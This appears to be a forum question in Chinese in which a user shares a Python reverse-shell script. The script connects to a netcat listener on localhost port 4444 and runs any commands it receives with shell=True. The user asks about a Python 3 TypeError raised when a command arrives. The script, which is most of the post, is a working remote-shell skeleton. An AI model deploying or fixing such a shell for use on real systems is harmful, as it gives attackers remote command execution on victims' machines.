我的外壳脚本:
#!/usr/bin/python
import subprocess, socket
HOST = 'localhost'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.close()
我正在使用 netcat 监听端口 4444。所以我运行netcat
它并且它正在监听。然后我运行这个脚本,但是如果我在 shell 中输入ipconfig
或输入什么东西,netcat
我会得到这个错误:
Traceback (most recent call last):
File "C:\Users\Myname\Documents\shell.py", line 16, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "C:\Python33\lib\subprocess.py", line 818, in __init__
restore_signals, start_new_session)
File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child
args = list2cmdline(args)
File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable